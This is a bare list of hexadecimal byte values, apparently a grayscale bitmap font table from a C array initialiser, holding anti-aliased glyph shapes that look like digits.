0x00, 0x00, 0x00, 0x00, 0x58, 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDE, 0x4F,
0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x89,
0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xC5, 0x94, 0x73, 0x6C, 0x91, 0xE2, 0xFF, 0xFF, 0xFF, 0xFF, 0x61,
0x00, 0x5F, 0x94, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x91, 0xFF, 0xFF, 0xFF, 0xDE, 0x03,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xBC, 0xFF, 0xFF, 0xFF, 0x3B, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xFF, 0xFF, 0xFF, 0x5E, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xFF, 0xFF, 0xFF, 0x72, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xB1, 0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x2D, 0xA8, 0xFF, 0xFF, 0xFF, 0xCA, 0x01, 0x00, 0x00, 0x00, 0x0B, 0x9D, 0xA6,
0xBB, 0xD7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x36, 0x00, 0x00, 0x00, 0x00, 0x21, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xE6, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xAB, 0x69, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0xFF, 0xFF, 0xFF, 0xF4,
0x3D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0xFF, 0xFF, 0xFF, 0xF4,
0x3D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0xFF, 0xFF, 0xFF, 0xF4,
0x3D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x96, 0xFF, 0xFF, 0xFF, 0xF4,
0x3D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x9B, 0xFF, 0xFF, 0xFF, 0xF4,
0x3D, 0x00, 0x55, 0xAC, 0xAC, 0xAC, 0xAC, 0xAC, 0xAC, 0xAC, 0xAE, 0xFF, 0xFF, 0xFF, 0xFF, 0xAE,
0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xAE, 0x00,
0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xAD, 0x00, 0x26,
0x4E, 0x4E, 0x4E, 0x4E, 0x4E, 0x4E, 0x4E, 0x4E, 0x4E, 0x4E, 0x4E, 0x4E, 0x22, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x4E, 0xE1, 0xE1, 0xE1, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC9, 0xFF, 0xFF, 0xD7, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBA, 0xFF, 0xFF, 0xE2, 0x05, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x33, 0xFF, 0xFF, 0xFF, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xFF,
0xFF, 0xEC, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0xFD, 0xFF, 0xFF, 0x7E, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xF3, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x1A, 0xF9, 0xFF, 0xFF, 0x8D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xF9,
0x1B, 0x00, 0x16, 0x4B, 0x4B, 0x47, 0x00, 0x11, 0xF3, 0xFF, 0xFF, 0x9C, 0x00, 0x00, 0x4D, 0xFF,
0xFF, 0xF2, 0x00, 0x7C, 0xFF, 0xFF, 0xFD, 0x26, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xF2, 0x0A, 0xEA,
0xFF, 0xFF, 0xAB, 0x00, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xF2, 0x65, 0xFF, 0xFF, 0xFF, 0x33, 0x00,
0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xF2, 0x7F, 0xFF, 0xFF, 0xFF, 0xCE, 0xCE, 0xCE, 0xCE, 0xDD, 0xFF,
0xFF, 0xF2, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF2, 0x7F, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF2, 0x1A, 0x34, 0x34, 0x34, 0x34, 0x34,
0x34, 0x34, 0x72, 0xFF, 0xFF, 0xF2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0xFF,
0xFF, 0xF2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xF2, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xF2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x48, 0xFF, 0xFF, 0xF2, 0x00, 0x9B, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6,
0xB6, 0xB6, 0x2C, 0x00, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x4D,
0x00, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x32, 0x3B,
0x3B, 0x3B, 0x3B, 0x3B, 0x3B, 0x3B, 0xD9, 0xFF, 0xFF, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC2, 0xFF, 0xFF, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xB4, 0xFF, 0xFF, 0x94, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF,
0xA6, 0x00, 0x00, 0x00, 0x00, 0x15, 0x61, 0x8B, 0xB4, 0xC5, 0xFE, 0xFF, 0xFF, 0xB8, 0x00, 0x00,
0x03, 0x6C, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCA, 0x00, 0x01, 0xB0, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDB, 0x00, 0x72, 0xFF, 0xFF, 0xFF, 0xFF, 0xBA, 0x66,
0x45, 0x32, 0x3E, 0x5A, 0x55, 0x05, 0xF5, 0xFF, 0xFF, 0xF9, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x3A, 0xFF, 0xFF, 0xFF, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73,
0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0xFF, 0xFF, 0xFF,
0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0xFF, 0xFF, 0xFF, 0x53, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xFC, 0xFF, 0xFF, 0xC3, 0x08, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xC5, 0xFF, 0xFF, 0xFF, 0xB0, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x21, 0xE6, 0xFF, 0xFF, 0xFF, 0xED, 0x8B, 0x2A, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D,
0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xEA, 0xD0, 0xC5, 0x00, 0x00, 0x00, 0x27, 0x9E, 0xF9,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x83, 0xBF, 0xE2,
0xFD, 0xFF, 0xFF, 0xF7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x27, 0x3B,
0x3A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xE1, 0xE1, 0xE1, 0xDE, 0x1D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xF9, 0xFF, 0xFF, 0xFD, 0x5C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0xF7, 0xFF, 0xFF, 0xFD, 0x5C, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0xF5, 0xFF, 0xFF, 0xFD, 0x5C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xEC, 0xFF, 0xFF, 0xFF, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x04, 0xC5, 0xFF, 0xFF, 0xFF, 0x9E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x8A, 0xFF, 0xFF, 0xFF, 0xCD, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x3D, 0xFE, 0xFF, 0xFF, 0xEC, 0x1F, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0xEA, 0xFF, 0xF3, 0xC5, 0x60, 0x03, 0x00, 0x00,
0x00, 0x00, 0x40, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA5, 0x02, 0x00,
0x00, 0x00, 0xBA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9F, 0x01,
0x00, 0x06, 0xF8, 0xFF, 0xFF, 0xFF, 0xCC, 0x3C, 0x08, 0x0F, 0x51, 0xE1, 0xFF, 0xFF, 0xFF, 0x71,
0x00, 0x37, 0xFF, 0xFF, 0xFF, 0xD1, 0x05, 0x00, 0x00, 0x00, 0x00, 0x19, 0xF0, 0xFF, 0xFF, 0xDB,
0x00, 0x6C, 0xFF, 0xFF, 0xFF, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xFF,
0x18, 0x7E, 0xFF, 0xFF, 0xFF, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xFF, 0xFF, 0xFF,
0x36, 0x67, 0xFF, 0xFF, 0xFF, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0xFF,
0x2C, 0x46, 0xFF, 0xFF, 0xFF, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xFF, 0xFF, 0xF9,
0x05, 0x15, 0xF9, 0xFF, 0xFF, 0xC7, 0x01, 0x00, 0x00, 0x00, 0x00, 0x11, 0xED, 0xFF, 0xFF, 0xD0,
0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xFF, 0xBA, 0x25, 0x00, 0x00, 0x33, 0xD1, 0xFF, 0xFF, 0xFF, 0x66,
0x00, 0x00, 0x21, 0xEA, 0xFF, 0xFF, 0xFF, 0xFF, 0xEE, 0xF1, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x01,
0x00, 0x00, 0x00, 0x2F, 0xEC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBF, 0x1C, 0x00,
0x00, 0x00, 0x00, 0x00, 0x11, 0x82, 0xE7, 0xFF, 0xFF, 0xFF, 0xF9, 0xCF, 0x68, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x32, 0x2B, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x5A, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, 0x8B,
0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDB, 0x7F,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA9, 0x19, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x7E, 0xFF, 0xFF, 0xFF, 0x6A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xE0, 0xFF, 0xFF, 0xF1, 0x19, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0xB4, 0xFF, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x87, 0xFF, 0xFF, 0xFF, 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x55, 0xFF, 0xFF, 0xFF, 0xE6, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E,
0xEF, 0xFF, 0xFF, 0xF6, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xC2, 0xFF,
0xFF, 0xFF, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5F, 0xFF, 0xFF, 0xFF,
0xA4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xD6, 0xFF, 0xFF, 0xE2, 0x0E,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xFF, 0xFF, 0xFF, 0x69, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA4, 0xFF, 0xFF, 0xE7, 0x08, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE7, 0xFF, 0xFF, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0xFF, 0xFF, 0xFF, 0x4D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x48, 0xFF, 0xFF, 0xFF, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x5D, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x71, 0xFF, 0xFF, 0xE4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x78, 0xFF, 0xFF, 0xD9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x78, 0xFF, 0xFF, 0xD8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73,
0xFF, 0xFF, 0xCE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x61,
0xBB, 0xDD, 0xFB, 0xF8, 0xDE, 0xAE, 0x50, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1A, 0xDB, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9F, 0x03, 0x00, 0x00, 0x00, 0x04, 0xC9, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x94, 0x00, 0x00, 0x00, 0x33, 0xFF, 0xFF, 0xFF,
0xC9, 0x5B, 0x16, 0x26, 0x6B, 0xE6, 0xFF, 0xFF, 0xE9, 0x01, 0x00, 0x00, 0x69, 0xFF, 0xFF, 0xFB,
0x12, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xFF, 0xFF, 0xFF, 0x2B, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xF7,
0x05, 0x00, 0x00, 0x00, 0x00, 0x3C, 0xFF, 0xFF, 0xFF, 0x1E, 0x00, 0x00, 0x21, 0xFF, 0xFF, 0xFF,
0x87, 0x00, 0x00, 0x00, 0x09, 0xBF, 0xFF, 0xFF, 0xE4, 0x00, 0x00, 0x00, 0x00, 0xB6, 0xFF, 0xFF,
0xFF, 0xBB, 0x24, 0x45, 0xDC, 0xFF, 0xFF, 0xFF, 0x74, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xD3, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1A, 0xD2,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x8F, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xEB,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD1, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xFF, 0xFF,
0xFF, 0xFF, 0xF6, 0xF8, 0xFF, 0xFF, 0xFF, 0xFB, 0x4F, 0x00, 0x00, 0x00, 0x6D, 0xFF, 0xFF, 0xFF,
0xF9, 0x7C, 0x0A, 0x1C, 0xA5, 0xFF, 0xFF, 0xFF, 0xF8, 0x35, 0x00, 0x0C, 0xF0, 0xFF, 0xFF, 0xF0,
0x3C, 0x00, 0x00, 0x00, 0x00, 0x70, 0xFF, 0xFF, 0xFF, 0xB4, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0x69,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x0C, 0x73, 0xFF, 0xFF, 0xFF, 0x12,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x2B, 0x76, 0xFF, 0xFF, 0xFF, 0x17,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0xFF, 0xFF, 0xFF, 0x38, 0x55, 0xFF, 0xFF, 0xFF, 0x6E,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAF, 0xFF, 0xFF, 0xFE, 0x0E, 0x1D, 0xFB, 0xFF, 0xFF, 0xF7,
0x65, 0x03, 0x00, 0x00, 0x10, 0x91, 0xFF, 0xFF, 0xFF, 0xDB, 0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xFF,
0xFF, 0xEE, 0xCB, 0xD2, 0xF6, 0xFF, 0xFF, 0xFF, 0xFF, 0x59, 0x00, 0x00, 0x0A, 0xBB, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x8F, 0x00, 0x00, 0x00, 0x00, 0x05, 0x62, 0xD2,
0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xB9, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0x24, 0x45, 0x40, 0x1F, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x05, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x61,
0xAC, 0xD7, 0xFB, 0xF8, 0xCD, 0x9F, 0x4D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0xC1, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB7, 0x0E, 0x00, 0x00, 0x00, 0x0B, 0xE0, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xBD, 0x06, 0x00, 0x00, 0x8B, 0xFF, 0xFF, 0xFF,
0xC4, 0x30, 0x02, 0x05, 0x42, 0xDA, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x0C, 0xFB, 0xFF, 0xFF, 0xCE,
0x03, 0x00, 0x00, 0x00, 0x00, 0x15, 0xF0, 0xFF, 0xFF, 0xD5, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x47,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0xFF, 0xFF, 0xFF, 0x0E, 0x5F, 0xFF, 0xFF, 0xFF, 0x12,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x2F, 0x7C, 0xFF, 0xFF, 0xFF, 0x13,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xFF, 0xFF, 0xFF, 0x35, 0x64, 0xFF, 0xFF, 0xFF, 0x48,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7D, 0xFF, 0xFF, 0xFE, 0x0B, 0x44, 0xFF, 0xFF, 0xFF, 0xCE,
0x03, 0x00, 0x00, 0x00, 0x00, 0x14, 0xED, 0xFF, 0xFF, 0xDB, 0x00, 0x10, 0xF8, 0xFF, 0xFF, 0xFF,
0xC4, 0x31, 0x02, 0x06, 0x44, 0xD9, 0xFF, 0xFF, 0xFF, 0x7A, 0x00, 0x00, 0xAC, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xF8, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xD3, 0x05, 0x00, 0x00, 0x4C, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCD, 0x26, 0x00, 0x00, 0x00, 0x00, 0xC2, 0xFF, 0xFF,
0xFF, 0xFF, 0xF8, 0xFF, 0xF6, 0xC9, 0x7A, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0xFD, 0xFF,
0xFF, 0xE8, 0x20, 0x20, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x93, 0xFF,
0xFF, 0xFF, 0xC5, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xCE,
0xFF, 0xFF, 0xFF, 0x94, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23,
0xF0, 0xFF, 0xFF, 0xFF, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4E, 0xFD, 0xFF, 0xFF, 0xFE, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x67, 0xFF, 0xFF, 0xFF, 0xFC, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x7E, 0xFF, 0xFF, 0xFF, 0xF9, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x93, 0xFD, 0xFF, 0xFF, 0xF6, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x11, 0x28, 0x40, 0x58, 0x63, 0x01, 0x00, 0x21, 0x54, 0x6B, 0x83, 0x9A,
0xB2, 0xCA, 0xE1, 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x75, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0x35, 0x5F, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x6F, 0x47, 0xFF, 0xFA, 0xE8, 0xD5,
0xC1, 0xAE, 0x9B, 0x88, 0x75, 0x62, 0xD5, 0xFF, 0xFF, 0xFA, 0x16, 0x04, 0x0E, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDF, 0xFF, 0xFF, 0xAC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0xFF, 0xFF, 0xFF, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0xFF, 0xFF, 0xE1, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xD9, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16,
0x56, 0x00, 0x00, 0x00, 0x45, 0xFF, 0xFF, 0xFD, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC,
0xF9, 0x2F, 0x00, 0x00, 0xC2, 0xFF, 0xFF, 0xAC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0xFF,
0xFF, 0xD3, 0x07, 0x3F, 0xFF, 0xFF, 0xFD, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF,
0xFF, 0xFF, 0x8E, 0xBC, 0xFF, 0xFF, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F,
0xE7, 0xFF, 0xFF, 0xFF, 0xFF, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5B, 0xFF, 0xFF, 0xFF, 0xFB, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC1, 0xFF, 0xFF, 0xF1, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x39, 0xFF, 0xFF, 0xFF, 0x7E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xB4, 0xFF, 0xFF, 0xF2, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x31, 0xFE, 0xFF, 0xFF, 0x85, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xB5, 0xFF, 0xFF, 0xF1, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x40, 0xFF, 0xFF, 0xDE, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xCB, 0xE7, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x3D, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xC2, 0x7D, 0x37,
